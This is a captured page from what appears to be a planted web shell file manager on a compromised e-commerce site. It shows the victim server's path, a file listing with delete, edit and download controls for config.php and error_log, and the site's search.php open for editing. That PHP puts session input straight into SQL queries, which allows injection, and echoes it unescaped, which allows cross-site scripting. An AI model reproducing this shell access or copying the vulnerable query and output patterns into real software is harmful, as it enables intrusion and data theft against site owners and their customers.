ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	263.92 KB	0644	🗑️ ⬇️ ✏️

Editing: search.php

<?php include "header.php";?>

<main id="main">
<?php
 $user = $_SESSION['cat']; 
				$sql = "SELECT count(*) As 'total'
						FROM product WHERE title LIKE '%$user%' AND status='Approved' ";
		 $sql2 = mysqli_query($con,$sql);
		 $dad = mysqli_fetch_assoc($sql2);
 $kany=$dad['total'];

?>
    
   <section id="breadcrumbs" class="breadcrumbs" style="padding-top:50px;">
      <div class="container">

<div class="d-flex justify-content-between align-items-center">
          <h2 style="font-size:18px;">Details</h2>
          <ol>
            <li><a href="index.php">Home</a></li>
            <li>Search '<?php echo $user; ?>'</li>
          </ol>
        </div>
      </div>
    </section>
<style>
.kayd{
height:18rem;
width:18rem;

}
</style>
    <div class="container" style="margin-bottom:30%;">
        <div class="mt-5 py-3 bg-light" style="font-size: 0.8rem; text-align: center;">Find different types of consumer products here at affordable prices</div>

<div class="mt-4 py-3 bg-light d-flex flex-wrap justify-content-between shadow-sm">
            <h5 class="ms-3">Showing all <?php echo $kany;?> results</h5 ms-4>
            <div class="me-3 ">
			<form action="" method="post" class="d-flex">
                <select class="form-select form-select-md" name="plan" style="font-size: 0.8rem;" aria-label=".form-select-sm example">
                    <option value="1" selected="selected">A to Z</option>
                    <option value="2">Z to A</option>
                    <option value="3" selected>Recently Added (Latest)</option>
                    <option value="4">Date Added (oldest)</option>
                    <option value="5">Price (Low to High)</option>
                    <option value="6">Price (High to Low)</option>
                </select><input class="col-sm" type="submit" value="Filter" style="outline:none; border:none;"/></form>
            </div>
        </div>
<div class="container-fluid">
                <div class="row">
      <?php
	  include "connect_to_mysqli.php";
	
	 // Get images from the database
	 $user = $_SESSION['cat'];
	 $pa = $_POST['plan'];

$check = "select all* from product WHERE title LIKE '%$user%' && status ='Approved'";
	   $query = mysqli_query($con,$check);
	     if (mysqli_affected_rows($con) == 0)
		   {
		      echo "No products in this category";
		   }
		   
		   
	    
		else if ($pa=="")
		   {
		   
		  $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved' ORDER by date DESC";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										   echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			
			
			
			
			
			
			
			
			
			
			
			
			
			
			
			
			}}
			
			else if ($pa=="1")
		   {
		   
		  $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved'ORDER by title ASC ";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='../product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										   echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			}}
			
			 else if($pa=="2")
		   {
		   
		 $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved'ORDER by title DESC ";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='../product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										     echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			}}
			
			 else if($pa=="3")
		   {
		   
		 $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved'ORDER by date DESC ";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='../product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										    echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			}}
			
			 else if($pa=="4")
		   {
		   
		 $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved'ORDER by date ASC ";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='../product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										    echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			}}
			
			 else if($pa=="5")
		   {
		   
		 $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved'ORDER by price ASC ";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='../product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										    echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			}}
			
			 else if($pa=="6")
		   {
		   
		 $sql ="select all* from product WHERE title LIKE '%$user%' && status ='Approved'ORDER by price DESC ";
			
		   $sql2 = mysqli_query($con,$sql);
			  
			   while($row = mysqli_fetch_array($sql2))
				    
					{
										  $id = $row["s"];
										  $idea = $row["id"];
										   $loca= $row["location"];	
										   $da= $row["date"];
										   $tit= $row["title"];	
										   $per= $row["price"];
										   $imageURL='../product/'.$row["file_name"];	
									
									if($loca=="")
									{
									echo "";}
									else
									{
									$sq = "SELECT count(*) As 'total'
						FROM view WHERE id='$idea'";
		 $sq2 = mysqli_query($con,$sq);
		 $dad = mysqli_fetch_assoc($sq2);
 $kan=$dad['total'];
									
									} 	    
										   
										   echo' 
			
 <div class="col-lg-3 col-md-4 my-2 d-flex align-items-stretch">
                        <div class="member shadow shadow-md" data-aos="fade-up">
                            <div class="member-img">
                              <img src="'.$imageURL.'"  class="img-fluid" alt="">
                            </div>
                            <div class="member-info my-3 mx-3">
                                <p class=""> <a href="">'.$neme.'</a> </p>
                                <h5 class="card-title"><form action="details.php" method="post"><input type="text" name="idea" value="'.$idea.'" hidden/><button type="submit" value="oh" style="background:none; border:none; outline:none">'.$tit.'</button></form></h5>
                                <p> <span> <i class="bx bx-time-five"></i>'.$da.' </span></p>
<p>  <span>  <i class="bx bxs-location-plus"></i>'.$loca.' </span></p><p>
                                    <span><svg xmlns="http://www.w3.org/2000/svg" height="20" width="20"><path d="M10 13Q11.438 13 12.438 12Q13.438 11 13.438 9.562Q13.438 8.125 12.438 7.125Q11.438 6.125 10 6.125Q8.562 6.125 7.562 7.125Q6.562 8.125 6.562 9.562Q6.562 11.021 7.562 12.01Q8.562 13 10 13ZM10 11.812Q9.062 11.812 8.406 11.156Q7.75 10.5 7.75 9.562Q7.75 8.625 8.406 7.969Q9.062 7.312 10 7.312Q10.938 7.312 11.594 7.969Q12.25 8.625 12.25 9.562Q12.25 10.5 11.594 11.156Q10.938 11.812 10 11.812ZM10 15.417Q7.104 15.417 4.75 13.823Q2.396 12.229 1.292 9.562Q2.396 6.896 4.76 5.313Q7.125 3.729 10 3.729Q12.875 3.729 15.24 5.313Q17.604 6.896 18.708 9.562Q17.604 12.229 15.25 13.823Q12.896 15.417 10 15.417Z"/></svg>'.$kan.' views
                                    </span>
                                </p> <span style="font-size: 1.5rem; font-weight: 600; color: #3e831a;">&#8358;'.$per.'</span>
                            </div>
                        </div>
                    </div>	';		
			}}
			?>
        </div></div>

</main>

<?php include "footer.php";?>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: search.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33